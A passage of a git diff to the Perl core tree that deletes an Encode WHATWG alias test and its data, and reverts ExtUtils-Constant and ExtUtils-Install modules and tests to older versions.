"cp1256", - "windows-1256", - "x-cp1256" - ], - "name": "windows-1256" - }, - { - "labels": [ - "cp1257", - "windows-1257", - "x-cp1257" - ], - "name": "windows-1257" - }, - { - "labels": [ - "cp1258", - "windows-1258", - "x-cp1258" - ], - "name": "windows-1258" - }, - { - "labels": [ - "x-mac-cyrillic", - "x-mac-ukrainian" - ], - "name": "x-mac-cyrillic" - } - ], - "heading": "Legacy single-byte encodings" - }, - { - "encodings": [ - { - "labels": [ - "chinese", - "csgb2312", - "csiso58gb231280", - "gb2312", - "gb_2312", - "gb_2312-80", - "gbk", - "iso-ir-58", - "x-gbk" - ], - "name": "GBK" - }, - { - "labels": [ - "gb18030" - ], - "name": "gb18030" - } - ], - "heading": "Legacy multi-byte Chinese (simplified) encodings" - }, - { - "encodings": [ - { - "labels": [ - "big5", - "big5-hkscs", - "cn-big5", - "csbig5", - "x-x-big5" - ], - "name": "Big5" - } - ], - "heading": "Legacy multi-byte Chinese (traditional) encodings" - }, - { - "encodings": [ - { - "labels": [ - "cseucpkdfmtjapanese", - "euc-jp", - "x-euc-jp" - ], - "name": "EUC-JP" - }, - { - "labels": [ - "csiso2022jp", - "iso-2022-jp" - ], - "name": "ISO-2022-JP" - }, - { - "labels": [ - "csshiftjis", - "ms932", - "ms_kanji", - "shift-jis", - "shift_jis", - "sjis", - "windows-31j", - "x-sjis" - ], - "name": "Shift_JIS" - } - ], - "heading": "Legacy multi-byte Japanese encodings" - }, - { - "encodings": [ - { - "labels": [ - "cseuckr", - "csksc56011987", - "euc-kr", - "iso-ir-149", - "korean", - "ks_c_5601-1987", - "ks_c_5601-1989", - "ksc5601", - "ksc_5601", - "windows-949" - ], - "name": "EUC-KR" - } - ], - "heading": "Legacy multi-byte Korean encodings" - }, - { - "encodings": [ - { - "labels": [ - "csiso2022kr", - "hz-gb-2312", - "iso-2022-cn", - "iso-2022-cn-ext", - "iso-2022-kr" - ], - "name": "replacement" - }, - { - "labels": [ - "utf-16be" - ], - "name": "UTF-16BE" - }, - { - "labels": [ - "utf-16", - "utf-16le" - ], - "name": "UTF-16LE" - }, - { - "labels": [ - "x-user-defined" - ], - "name": "x-user-defined" - } - ], - "heading": "Legacy miscellaneous encodings" - } -] diff --git a/cpan/Encode/t/whatwg-aliases.t b/cpan/Encode/t/whatwg-aliases.t deleted file mode 100644 index ffc030bb757e..000000000000 --- a/cpan/Encode/t/whatwg-aliases.t +++ /dev/null @@ -1,66 +0,0 @@ -# This test checks aliases support based on the list in the -# WHATWG Encoding Living Standard -# -# https://encoding.spec.whatwg.org/ -# -# The input of this test is the file whatwg-aliases.json downloaded from -# https://encoding.spec.whatwg.org/encodings.json -# -# To run: -# AUTHOR_TESTING=1 prove -l t/whatwg-aliases.t - - -use Test::More - ($ENV{AUTHOR_TESTING} || $ENV{RELEASE_TESTING}) - ? 'no_plan' - : (skip_all => 'For maintainers only'); -use Encode 'find_encoding'; -use JSON::PP 'decode_json'; -use File::Spec; -use FindBin; - -my $encodings = decode_json(do { - # https://encoding.spec.whatwg.org/encodings.json - open my $f, '<', File::Spec->catdir($FindBin::Bin, 'whatwg-aliases.json'); - local $/; - <$f> -}); - -my %IGNORE = map { $_ => '' } qw( - replacement - utf8 -); - -my %TODO = ( - 'ISO-8859-8-I' => 'Not supported', - 'gb18030' => 'Not supported', - '866' => 'Not supported', - 'x-user-defined' => 'Not supported', - # ... -); - -for my $section (@$encodings) { - for my $enc (@{$section->{encodings}}) { - - my $name = $enc->{name}; - - next if exists $IGNORE{$name}; - - local $TODO = $TODO{$name} if exists $TODO{$name}; - - my $encoding = find_encoding($name); - isa_ok($encoding, 'Encode::Encoding', $name); - - for my $label (@{$enc->{labels}}) { - local $TODO = $TODO{$label} if exists $TODO{$label}; - - my $e = find_encoding($label); - if (isa_ok($e, 'Encode::Encoding', $label)) { - next if exists $IGNORE{$label}; - is($e->name, $encoding->name, "$label ->name is $name") - } - } - } -} - -done_testing; diff --git a/cpan/ExtUtils-Constant/lib/ExtUtils/Constant.pm b/cpan/ExtUtils-Constant/lib/ExtUtils/Constant.pm index e6d71f9b10be..0dc925873dc8 100644 --- a/cpan/ExtUtils-Constant/lib/ExtUtils/Constant.pm +++ b/cpan/ExtUtils-Constant/lib/ExtUtils/Constant.pm @@ -1,6 +1,6 @@ package ExtUtils::Constant; use vars qw (@ISA $VERSION @EXPORT_OK %EXPORT_TAGS); -$VERSION = '0.25'; +$VERSION = 0.23; =head1 NAME @@ -198,17 +198,17 @@ $XS_subname(sv) EOT if ($params->{IV}) { - $xs .= " IV iv = 0; /* avoid uninit var warning */\n"; + $xs .= " IV iv;\n"; } else { $xs .= " /* IV\t\tiv;\tUncomment this if you need to return IVs */\n"; } if ($params->{NV}) { - $xs .= " NV nv = 0.0; /* avoid uninit var warning */\n"; + $xs .= " NV nv;\n"; } else { $xs .= " /* NV\t\tnv;\tUncomment this if you need to return NVs */\n"; } if ($params->{PV}) { - $xs .= " const char *pv = NULL; /* avoid uninit var warning */\n"; + $xs .= " const char *pv;\n"; } else { $xs .= " /* const char\t*pv;\tUncomment this if you need to return PVs */\n"; @@ -272,7 +272,7 @@ EOT $xs .= " case PERL_constant_IS$type:\n"; if (length $XS_Constant{$type}) { $xs .= << "EOT"; - EXTEND(SP, 2); + EXTEND(SP, 1); PUSHs(&PL_sv_undef); $XS_Constant{$type}; EOT diff --git a/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Base.pm b/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Base.pm index bd0d8a784b9f..b6abe1c201ae 100644 --- a/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Base.pm +++ b/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Base.pm @@ -5,7 +5,7 @@ use vars qw($VERSION); use Carp; use Text::Wrap; use ExtUtils::Constant::Utils qw(C_stringify perl_stringify); -$VERSION = '0.06'; +$VERSION = '0.05'; use constant is_perl56 => ($] < 5.007 && $] > 5.005_50); @@ -331,7 +331,7 @@ of C code to proceed and follow the assignment. I
 will be at the start
 of a block, so variables may be defined in it.
 
 =cut
-# Hmm. value undef to do NOTDEF? value () to do NOTFOUND?
+# Hmm. value undef to to NOTDEF? value () to do NOTFOUND?
 
 sub assign {
   my $self = shift;
@@ -581,8 +581,7 @@ sub switch_clause {
     $body .= $indent . "case '" . C_stringify ($char) . "':\n";
     foreach my $thisone (sort {
 	# Deal with the case of an item actually being an array ref to 1 or 2
-	# hashrefs. Don't assign to $a or $b, as they're aliases to the
-        # original
+	# hashrefs. Don't assign to $a or $b, as they're aliases to the orignal
 	my $l = ref $a eq 'ARRAY' ? ($a->[0] || $->[1]) : $a;
 	my $r = ref $b eq 'ARRAY' ? ($b->[0] || $->[1]) : $b;
 	# Sort by weight first
diff --git a/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/ProxySubs.pm b/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/ProxySubs.pm
index 0aee5233fe06..545d3221a01b 100644
--- a/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/ProxySubs.pm
+++ b/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/ProxySubs.pm
@@ -9,7 +9,7 @@ require ExtUtils::Constant::XS;
 use ExtUtils::Constant::Utils qw(C_stringify);
 use ExtUtils::Constant::XS qw(%XS_TypeSet);
 
-$VERSION = '0.09';
+$VERSION = '0.08';
 @ISA = 'ExtUtils::Constant::XS';
 
 %type_to_struct =
@@ -268,7 +268,7 @@ EO_NOPCS
     SV *sv;
 
     if (!he) {
-        croak("Couldn't add key '%s' to %%$package_sprintf_safe\::",
+        Perl_croak($athx "Couldn't add key '%s' to %%$package_sprintf_safe\::",
 		   name);
     }
     sv = HeVAL(he);
@@ -306,8 +306,9 @@ static int
 Im_sorry_Dave(pTHX_ SV *sv, MAGIC *mg)
 {
     PERL_UNUSED_ARG(mg);
-    croak("Your vendor has not defined $package_sprintf_safe macro %"SVf
-	  " used", sv);
+    Perl_croak(aTHX_
+	       "Your vendor has not defined $package_sprintf_safe macro %"SVf
+	       " used", sv);
     NORETURN_FUNCTION_END;
 }
 
@@ -372,7 +373,7 @@ MISSING
     print $xs_fh <<"EOBOOT";
 BOOT:
   {
-#if defined(dTHX) && !defined(PERL_NO_GET_CONTEXT)
+#ifdef dTHX
     dTHX;
 #endif
     HV *symbol_table = get_hv("$symbol_table", GV_ADD);
@@ -490,8 +491,9 @@ EXPLODE
 		HEK *hek;
 #endif
 		if (!he) {
-		    croak("Couldn't add key '%s' to %%$package_sprintf_safe\::",
-			  value_for_notfound->name);
+		    Perl_croak($athx
+			       "Couldn't add key '%s' to %%$package_sprintf_safe\::",
+			       value_for_notfound->name);
 		}
 		sv = HeVAL(he);
 		if (!SvOK(sv) && SvTYPE(sv) != SVt_PVGV) {
@@ -519,8 +521,8 @@ EXPLODE
 		if (!hv_common(${c_subname}_missing, NULL, HEK_KEY(hek),
  			       HEK_LEN(hek), HEK_FLAGS(hek), HV_FETCH_ISSTORE,
 			       &PL_sv_yes, HEK_HASH(hek)))
-		    croak("Couldn't add key '%s' to missing_hash",
-			  value_for_notfound->name);
+		    Perl_croak($athx "Couldn't add key '%s' to missing_hash",
+			       value_for_notfound->name);
 #endif
 DONT
 
@@ -627,15 +629,13 @@ EOA
 	if ((C_ARRAY_LENGTH(values_for_notfound) > 1)
 	    ? hv_exists_ent(${c_subname}_missing, sv, 0) : 0) {
 	    sv = newSVpvf("Your vendor has not defined $package_sprintf_safe macro %" SVf
-			  ", used at %" COP_FILE_F " line %" UVuf "\\n", 
-			  sv, COP_FILE(cop), (UV)CopLINE(cop));
+			  ", used at %" COP_FILE_F " line %d\\n", sv,
+			  COP_FILE(cop), CopLINE(cop));
 	} else
 #endif
 	{
-	    sv = newSVpvf("%" SVf
-                          " is not a valid $package_sprintf_safe macro at %"
-			  COP_FILE_F " line %" UVuf "\\n",
-			  sv, COP_FILE(cop), (UV)CopLINE(cop));
+	    sv = newSVpvf("%"SVf" is not a valid $package_sprintf_safe macro at %"
+			  COP_FILE_F " line %d\\n", sv, COP_FILE(cop), CopLINE(cop));
 	}
 	croak_sv(sv_2mortal(sv));
 EOC
@@ -671,7 +671,7 @@ $xs_subname(sv)
 	} else
 #endif
 	{
-	    sv = newSVpvf("%" SVf " is not a valid $package_sprintf_safe macro",
+	    sv = newSVpvf("%"SVf" is not a valid $package_sprintf_safe macro",
 			  sv);
 	}
 	PUSHs(sv_2mortal(sv));
diff --git a/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Utils.pm b/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Utils.pm
index 37e53f06ff74..9608256c34c3 100644
--- a/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Utils.pm
+++ b/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Utils.pm
@@ -6,7 +6,7 @@ use Carp;
 
 @ISA = 'Exporter';
 @EXPORT_OK = qw(C_stringify perl_stringify);
-$VERSION = '0.04';
+$VERSION = '0.03';
 
 use constant is_perl55 => ($] < 5.005_50);
 use constant is_perl56 => ($] < 5.007 && $] > 5.005_50);
@@ -46,7 +46,7 @@ sub C_stringify {
   # grr 5.6.1
   confess "Wide character in '$_' intended as a C identifier"
     if tr/\0-\377// != length;
-  # grr 5.6.1 more so because its regexps will break on data that happens to
+  # grr 5.6.1 moreso because its regexps will break on data that happens to
   # be utf8, which includes my 8 bit test cases.
   $_ = pack 'C*', unpack 'U*', $_ . pack 'U*' if is_perl56;
   s/\\/\\\\/g;
diff --git a/cpan/ExtUtils-Install/lib/ExtUtils/Install.pm b/cpan/ExtUtils-Install/lib/ExtUtils/Install.pm
index 047c007145e0..1e8ac4cd12b5 100644
--- a/cpan/ExtUtils-Install/lib/ExtUtils/Install.pm
+++ b/cpan/ExtUtils-Install/lib/ExtUtils/Install.pm
@@ -1,18 +1,24 @@
 package ExtUtils::Install;
 use strict;
 
+use vars qw(@ISA @EXPORT $VERSION $MUST_REBOOT %Config);
+
+use AutoSplit;
+use Carp ();
 use Config qw(%Config);
 use Cwd qw(cwd);
-use Exporter ();
+use Exporter;
+use ExtUtils::Packlist;
 use File::Basename qw(dirname);
+use File::Compare qw(compare);
 use File::Copy;
+use File::Find qw(find);
 use File::Path;
 use File::Spec;
 
-our @ISA = ('Exporter');
-our @EXPORT = ('install','uninstall','pm_to_blib', 'install_default');
 
-our $MUST_REBOOT;
+@ISA = ('Exporter');
+@EXPORT = ('install','uninstall','pm_to_blib', 'install_default');
 
 =pod
 
@@ -32,11 +38,11 @@ ExtUtils::Install - install files from here to there
 
 =head1 VERSION
 
-2.14
+2.04
 
 =cut
 
-our $VERSION = '2.14';  # <-- do not forget to update the POD section just above this line!
+$VERSION = '2.04';  # <-- do not forget to update the POD section just above this line!
 $VERSION = eval $VERSION;
 
 =pod
@@ -89,12 +95,18 @@ Dies with a special message.
 
 =cut
 
-BEGIN {
-    *Is_VMS        = $^O eq 'VMS'     ? sub(){1} : sub(){0};
-    *Is_Win32      = $^O eq 'MSWin32' ? sub(){1} : sub(){0};
-    *Is_cygwin     = $^O eq 'cygwin'  ? sub(){1} : sub(){0};
-    *CanMoveAtBoot = ($^O eq 'MSWin32' || $^O eq 'cygwin') ? sub(){1} : sub(){0};
-}
+my $Is_VMS     = $^O eq 'VMS';
+my $Is_MacPerl = $^O eq 'MacOS';
+my $Is_Win32   = $^O eq 'MSWin32';
+my $Is_cygwin  = $^O eq 'cygwin';
+my $CanMoveAtBoot = ($Is_Win32 || $Is_cygwin);
+
+# *note* CanMoveAtBoot is only incidentally the same condition as below
+# this needs not hold true in the future.
+my $Has_Win32API_File = ($Is_Win32 || $Is_cygwin)
+    ? (eval {require Win32API::File; 1} || 0)
+    : 0;
+
 
 my $Inc_uninstall_warn_handler;
 
@@ -102,12 +114,9 @@ my $Inc_uninstall_warn_handler;
 
 my $INSTALL_ROOT = $ENV{PERL_INSTALL_ROOT};
 my $INSTALL_QUIET = $ENV{PERL_INSTALL_QUIET};
-$INSTALL_QUIET = 1
-  if (!exists $ENV{PERL_INSTALL_QUIET} and
-      defined $ENV{MAKEFLAGS} and
-      $ENV{MAKEFLAGS} =~ /\b(s|silent|quiet)\b/);
 
 my $Curdir = File::Spec->curdir;
+my $Updir  = File::Spec->updir;
 
 sub _estr(@) {
     return join "\n",'!' x 72,@_,'!' x 72,'';
@@ -123,24 +132,9 @@ sub _warnonce(@) {
 sub _choke(@) {
     my $first=shift;
     my $msg=_estr "ERROR: $first",@_;
-    require Carp;
     Carp::croak($msg);
 }
 
-sub _croak {
-    require Carp;
-    Carp::croak(@_);
-}
-sub _confess {
-    require Carp;
-    Carp::confess(@_);
-}
-
-sub _compare {
-    require File::Compare;
-    File::Compare::compare(@_);
-}
-
 
 sub _chmod($$;$) {
     my ( $mode, $item, $verbose )=@_;
@@ -179,53 +173,47 @@ If $moan is true then returns 0 on error and warns instead of dies.
 
 =cut
 
-{
-    my $Has_Win32API_File;
-    sub _move_file_at_boot { #XXX OS-SPECIFIC
-        my ( $file, $target, $moan  )= @_;
-        _confess("Panic: Can't _move_file_at_boot on this platform!")
-             unless CanMoveAtBoot;
-
-        my $descr= ref $target
-                    ? "'$file' for deletion"
-                    : "'$file' for installation as '$target'";
-
-        # *note* CanMoveAtBoot is only incidentally the same condition as below
-        # this needs not hold true in the future.
-        $Has_Win32API_File = (Is_Win32 || Is_cygwin)
-            ? (eval {require Win32API::File; 1} || 0)
-            : 0 unless defined $Has_Win32API_File;
-        if ( ! $Has_Win32API_File ) {
-
-            my @msg=(
-                "Cannot schedule $descr at reboot.",
-                "Try installing Win32API::File to allow operations on locked files",
-                "to be scheduled during reboot. Or try to perform the operation by",
-                "hand yourself. (You may need to close other perl processes first)"
-            );
-            if ( $moan ) { _warnonce(@msg) } else { _choke(@msg) }
-            return 0;
-        }
-        my $opts= Win32API::File::MOVEFILE_DELAY_UNTIL_REBOOT();
-        $opts= $opts | Win32API::File::MOVEFILE_REPLACE_EXISTING()
-            unless ref $target;
 
-        _chmod( 0666, $file );
-        _chmod( 0666, $target ) unless ref $target;
 
-        if (Win32API::File::MoveFileEx( $file, $target, $opts )) {
-            $MUST_REBOOT ||= ref $target ? 0 : 1;
-            return 1;
-        } else {
-            my @msg=(
-                "MoveFileEx $descr at reboot failed: $^E",
-                "You may try to perform the operation by hand yourself. ",
-                "(You may need to close other perl processes first).",
-            );
-            if ( $moan ) { _warnonce(@msg) } else { _choke(@msg) }
-        }
+sub _move_file_at_boot { #XXX OS-SPECIFIC
+    my ( $file, $target, $moan  )= @_;
+    Carp::confess("Panic: Can't _move_file_at_boot on this platform!")
+         unless $CanMoveAtBoot;
+
+    my $descr= ref $target
+                ? "'$file' for deletion"
+                : "'$file' for installation as '$target'";
+
+    if ( ! $Has_Win32API_File ) {
+
+        my @msg=(
+            "Cannot schedule $descr at reboot.",
+            "Try installing Win32API::File to allow operations on locked files",
+            "to be scheduled during reboot. Or try to perform the operation by",
+            "hand yourself. (You may need to close other perl processes first)"
+        );
+        if ( $moan ) { _warnonce(@msg) } else { _choke(@msg) }
         return 0;
     }
+    my $opts= Win32API::File::MOVEFILE_DELAY_UNTIL_REBOOT();
+    $opts= $opts | Win32API::File::MOVEFILE_REPLACE_EXISTING()
+        unless ref $target;
+
+    _chmod( 0666, $file );
+    _chmod( 0666, $target ) unless ref $target;
+
+    if (Win32API::File::MoveFileEx( $file, $target, $opts )) {
+        $MUST_REBOOT ||= ref $target ? 0 : 1;
+        return 1;
+    } else {
+        my @msg=(
+            "MoveFileEx $descr at reboot failed: $^E",
+            "You may try to perform the operation by hand yourself. ",
+            "(You may need to close other perl processes first).",
+        );
+        if ( $moan ) { _warnonce(@msg) } else { _choke(@msg) }
+    }
+    return 0;
 }
 
 
@@ -282,7 +270,7 @@ sub _unlink_or_rename { #XXX OS-SPECIFIC
     my $error="$!";
 
     _choke("Cannot unlink '$file': $!")
-          unless CanMoveAtBoot && $tryhard;
+          unless $CanMoveAtBoot && $tryhard;
 
     my $tmp= "AAA";
     ++$tmp while -e "$file.$tmp";
@@ -391,8 +379,8 @@ Abstract a -w check that tries to use POSIX::access() if possible.
     sub _have_write_access {
         my $dir=shift;
         unless (defined $has_posix) {
-            $has_posix = (!Is_cygwin && !Is_Win32
-             && eval { local $^W; require POSIX; 1} ) || 0;
+            $has_posix= (!$Is_cygwin && !$Is_Win32
+             && eval 'local $^W; require POSIX; 1') || 0;
         }
         if ($has_posix) {
             return POSIX::access($dir, POSIX::W_OK());
@@ -437,7 +425,7 @@ sub _can_write_dir {
     my $path='';
     my @make;
     while (@dirs) {
-        if (Is_VMS) {
+        if ($Is_VMS) {
             $dir = File::Spec->catdir($vol,@dirs);
         }
         else {
@@ -531,7 +519,7 @@ sub _copy {
     }
     if (!$dry_run) {
         File::Copy::copy($from,$to)
-            or _croak( _estr "ERROR: Cannot copy '$from' to '$to': $!" );
+            or Carp::croak( _estr "ERROR: Cannot copy '$from' to '$to': $!" );
     }
 }
 
@@ -685,7 +673,7 @@ sub install { #XXX OS-SPECIFIC
     if (@_==1 and eval { 1+@$from_to }) {
         my %opts        = @$from_to;
         $from_to        = $opts{from_to}
-                            or _confess("from_to is a mandatory parameter");
+                            or Carp::confess("from_to is a mandatory parameter");
         $verbose        = $opts{verbose};
         $dry_run        = $opts{dry_run};
         $uninstall_shadows  = $opts{uninstall_shadows};
@@ -706,7 +694,6 @@ sub install { #XXX OS-SPECIFIC
 
     my(%from_to) = %$from_to;
     my(%pack, $dir, %warned);
-    require ExtUtils::Packlist;
     my($packlist) = ExtUtils::Packlist->new();
 
     local(*DIR);
@@ -719,13 +706,6 @@ sub install { #XXX OS-SPECIFIC
     my $cwd = cwd();
     my @found_files;
     my %check_dirs;
-    require File::Find;
-
-    my $blib_lib  = File::Spec->catdir('blib', 'lib');
-    my $blib_arch = File::Spec->catdir('blib', 'arch');
-
-    # File::Find seems to always be Unixy except on MacPerl :(
-    my $current_directory = $^O eq 'MacOS' ? $Curdir : '.';
 
     MOD_INSTALL: foreach my $source (sort keys %from_to) {
         #copy the tree to the target directory without altering
@@ -740,6 +720,8 @@ sub install { #XXX OS-SPECIFIC
 
         my $targetroot = install_rooted_dir($from_to{$source});
 
+        my $blib_lib  = File::Spec->catdir('blib', 'lib');
+        my $blib_arch = File::Spec->catdir('blib', 'arch');
         if ($source eq $blib_lib and
             exists $from_to{$blib_arch} and
             directory_not_empty($blib_arch)
@@ -752,7 +734,9 @@ sub install { #XXX OS-SPECIFIC
         _chdir($source);
         # 5.5.3's File::Find missing no_chdir option
         # XXX OS-SPECIFIC
-        File::Find::find(sub {
+        # File::Find seems to always be Unixy except on MacPerl :(
+        my $current_directory= $Is_MacPerl ? $Curdir : '.';
+        find(sub {
             my ($mode,$size,$atime,$mtime) = (stat)[2,7,8,9];
 
             return if !-f _;
@@ -781,7 +765,7 @@ sub install { #XXX OS-SPECIFIC
                 $diff++;
             } else {
                 # we might not need to copy this file
-                $diff = _compare($sourcefile, $targetfile);
+                $diff = compare($sourcefile, $targetfile);
             }
             $check_dirs{$targetdir}++
                 unless -w $targetfile;
@@ -822,7 +806,7 @@ sub install { #XXX OS-SPECIFIC
 
                 #XXX OS-SPECIFIC
                 print "utime($atime,$mtime,$targetfile)\n" if $verbose>1;
-                utime($atime,$mtime + Is_VMS,$targetfile) unless $dry_run>1;
+                utime($atime,$mtime + $Is_VMS,$targetfile) unless $dry_run>1;
 
 
                 $mode = 0444 | ( $mode & 0111 ? 0111 : 0 );
@@ -952,8 +936,7 @@ Returns 0 if there is not.
 sub directory_not_empty ($) {
   my($dir) = @_;
   my $files = 0;
-  require File::Find;
-  File::Find::find(sub {
+  find(sub {
            return if $_ eq ".exists";
            if (-f) {
              $File::Find::prune++;
@@ -987,7 +970,7 @@ Consider its use discouraged.
 =cut
 
 sub install_default {
-  @_ < 2 or _croak("install_default should be called with 0 or 1 argument");
+  @_ < 2 or Carp::croak("install_default should be called with 0 or 1 argument");
   my $FULLEXT = @_ ? shift : $ARGV[0];
   defined $FULLEXT or die "Do not know to where to write install log";
   my $INST_LIB = File::Spec->catdir($Curdir,"blib","lib");
@@ -1043,7 +1026,6 @@ sub uninstall {
         unless -f $fil;
     # my $my_req = $self->catfile(qw(auto ExtUtils Install forceunlink.al));
     # require $my_req; # Hairy, but for the first
-    require ExtUtils::Packlist;
     my ($packlist) = ExtUtils::Packlist->new($fil);
     foreach (sort(keys(%$packlist))) {
         chomp;
@@ -1094,7 +1076,7 @@ sub inc_uninstall {
     #warn join "\n","---",@dirs,"---";
     my $seen_ours;
     foreach $dir ( @dirs ) {
-        my $canonpath = Is_VMS ? $dir : File::Spec->canonpath($dir);
+        my $canonpath = $Is_VMS ? $dir : File::Spec->canonpath($dir);
         next if $canonpath eq $Curdir;
         next if $seen_dir{$canonpath}++;
         my $targetfile = File::Spec->catfile($canonpath,$libdir,$file);
@@ -1106,7 +1088,7 @@ sub inc_uninstall {
         my $diff = 0;
         if ( -f $targetfile && -s _ == -s $filepath) {
             # We have a good chance, we can skip this one
-            $diff = _compare($filepath,$targetfile);
+            $diff = compare($filepath,$targetfile);
         } else {
             $diff++;
         }
@@ -1176,12 +1158,11 @@ sub run_filter {
 
 =item B
 
-    pm_to_blib(\%from_to);
     pm_to_blib(\%from_to, $autosplit_dir);
     pm_to_blib(\%from_to, $autosplit_dir, $filter_cmd);
 
 Copies each key of %from_to to its corresponding value efficiently.
-If an $autosplit_dir is provided, all .pm files will be autosplit into it.
+Filenames with the extension .pm are autosplit into the $autosplit_dir.
 Any destination directories are created.
 
 $filter_cmd is an optional shell command to run each .pm file through
@@ -1199,7 +1180,7 @@ environment variable will silence this output.
 sub pm_to_blib {
     my($fromto,$autodir,$pm_filter) = @_;
 
-    _mkpath($autodir,0,0755) if defined $autodir;
+    _mkpath($autodir,0,0755);
     while(my($from, $to) = each %$fromto) {
         if( -f $to && -s $from == -s $to && -M $to < -M $from ) {
             print "Skip $to (unchanged)\n" unless $INSTALL_QUIET;
@@ -1214,7 +1195,7 @@ sub pm_to_blib {
         my $need_filtering = defined $pm_filter && length $pm_filter &&
                              $from =~ /\.pm$/;
 
-        if (!$need_filtering && 0 == _compare($from,$to)) {
+        if (!$need_filtering && 0 == compare($from,$to)) {
             print "Skip $to (unchanged)\n" unless $INSTALL_QUIET;
             next;
         }
@@ -1232,10 +1213,10 @@ sub pm_to_blib {
             print "cp $from $to\n" unless $INSTALL_QUIET;
         }
         my($mode,$atime,$mtime) = (stat $from)[2,8,9];
-        utime($atime,$mtime+Is_VMS,$to);
+        utime($atime,$mtime+$Is_VMS,$to);
         _chmod(0444 | ( $mode & 0111 ? 0111 : 0 ),$to);
         next unless $from =~ /\.pm$/;
-        _autosplit($to,$autodir) if defined $autodir;
+        _autosplit($to,$autodir);
     }
 }
 
@@ -1253,8 +1234,7 @@ locking (ie. Windows).  So we wrap it and close the filehandle.
 =cut
 
 sub _autosplit { #XXX OS-SPECIFIC
-    require AutoSplit;
-    my $retval = AutoSplit::autosplit(@_);
+    my $retval = autosplit(@_);
     close *AutoSplit::IN if defined *AutoSplit::IN{IO};
 
     return $retval;
@@ -1285,7 +1265,7 @@ sub DESTROY {
         $plural = $i>1 ? "all those files" : "this file";
         my $inst = (_invokant() eq 'ExtUtils::MakeMaker')
                  ? ( $Config::Config{make} || 'make' ).' install'
-                     . ( ExtUtils::Install::Is_VMS ? '/MACRO="UNINST"=1' : ' UNINST=1' )
+                     . ( $Is_VMS ? '/MACRO="UNINST"=1' : ' UNINST=1' )
                  : './Build install uninst=1';
         print "## Running '$inst' will unlink $plural for you.\n";
     }
diff --git a/cpan/ExtUtils-Install/lib/ExtUtils/Installed.pm b/cpan/ExtUtils-Install/lib/ExtUtils/Installed.pm
index 8327a95a3dbe..061c32916f3e 100644
--- a/cpan/ExtUtils-Install/lib/ExtUtils/Installed.pm
+++ b/cpan/ExtUtils-Install/lib/ExtUtils/Installed.pm
@@ -17,7 +17,7 @@ my $DOSISH = ($^O =~ /^(MSWin\d\d|os2|dos|mint)$/);
 require VMS::Filespec if $Is_VMS;
 
 use vars qw($VERSION);
-$VERSION = '2.14';
+$VERSION = '2.04';
 $VERSION = eval $VERSION;
 
 sub _is_prefix {
diff --git a/cpan/ExtUtils-Install/lib/ExtUtils/Packlist.pm b/cpan/ExtUtils-Install/lib/ExtUtils/Packlist.pm
index f94e3d05cc82..c1ab00216bcb 100644
--- a/cpan/ExtUtils-Install/lib/ExtUtils/Packlist.pm
+++ b/cpan/ExtUtils-Install/lib/ExtUtils/Packlist.pm
@@ -5,7 +5,7 @@ use strict;
 use Carp qw();
 use Config;
 use vars qw($VERSION $Relocations);
-$VERSION = '2.14';
+$VERSION = '2.04';
 $VERSION = eval $VERSION;
 
 # Used for generating filehandle globs.  IO::File might not be available!
diff --git a/cpan/ExtUtils-Install/t/Install.t b/cpan/ExtUtils-Install/t/Install.t
index 0900b58cb86e..440d23082dec 100644
--- a/cpan/ExtUtils-Install/t/Install.t
+++ b/cpan/ExtUtils-Install/t/Install.t
@@ -12,7 +12,7 @@ use File::Path;
 use File::Spec;
 use File::Temp qw[tempdir];
 
-use Test::More tests => 62;
+use Test::More tests => 60;
 
 use MakeMaker::Test::Setup::BFD;
 
@@ -269,15 +269,3 @@ SKIP: {
     ok(compare("$bigdir/Dummy.pm", "$bigdir/DummyOrig.pm"),
         "orig file should be different");
 }
-
-pm_to_blib( { 'lib/Dummy/Split.pm' => 'blib/lib/Dummy/Split.pm' },
-            'blib/lib/auto'
-          );
-
-ok( -r 'blib/lib/auto/Dummy/Split/split.al',
-  'pm_to_blib does autosplit on appropriate files',
-);
-eval {
-  pm_to_blib( { 'lib/Dummy/Split.pm' => 'blib/lib/Dummy/Split.pm' } );
-};
-is $@, '', 'pm_to_blib with no autodir works';
diff --git a/cpan/ExtUtils-Install/t/InstallWithMM.t b/cpan/ExtUtils-Install/t/InstallWithMM.t
index d656d43833c1..58ffd3eceb04 100644
--- a/cpan/ExtUtils-Install/t/InstallWithMM.t
+++ b/cpan/ExtUtils-Install/t/InstallWithMM.t
@@ -56,7 +56,7 @@ delete @ENV{qw(PREFIX LIB MAKEFLAGS)};
     ok( chdir('Big-Dummy'), "chdir'd to Big-Dummy" ) ||
       diag("chdir failed: $!");
 
-    my @mpl_out = run(qq{"$perl" Makefile.PL "PREFIX=../dummy-install"});
+    my @mpl_out = run(qq{$perl Makefile.PL "PREFIX=../dummy-install"});
     END { rmtree '../dummy-install'; }
 
     cmp_ok( $?, '==', 0, 'Makefile.PL exited with zero' ) ||
diff --git a/cpan/ExtUtils-Install/t/Installed.t b/cpan/ExtUtils-Install/t/Installed.t
index d6a099e9c7c4..5c5c4d3d09a3 100644
--- a/cpan/ExtUtils-Install/t/Installed.t
+++ b/cpan/ExtUtils-Install/t/Installed.t
@@ -109,9 +109,6 @@ my $fake_mod_dir = File::Spec->catdir(cwd(), 'auto', 'FakeMod');
 
     # should find $fake_mod_dir via '.' in @INC
 
-    local @INC = @INC;
-    push @INC, '.' if not $INC[-1] eq '.';
-
     my $realei = ExtUtils::Installed->new();
     isa_ok( $realei, 'ExtUtils::Installed' );
     isa_ok( $realei->{Perl}{packlist}, 'ExtUtils::Packlist' );
diff --git a/cpan/ExtUtils-Install/t/lib/MakeMaker/Test/Setup/BFD.pm b/cpan/ExtUtils-Install/t/lib/MakeMaker/Test/Setup/BFD.pm
index 37ca9a3c017d..868d0b9019b1 100644
--- a/cpan/ExtUtils-Install/t/lib/MakeMaker/Test/Setup/BFD.pm
+++ b/cpan/ExtUtils-Install/t/lib/MakeMaker/Test/Setup/BFD.pm
@@ -88,18 +88,6 @@ print "Big::Liar's vars\n";
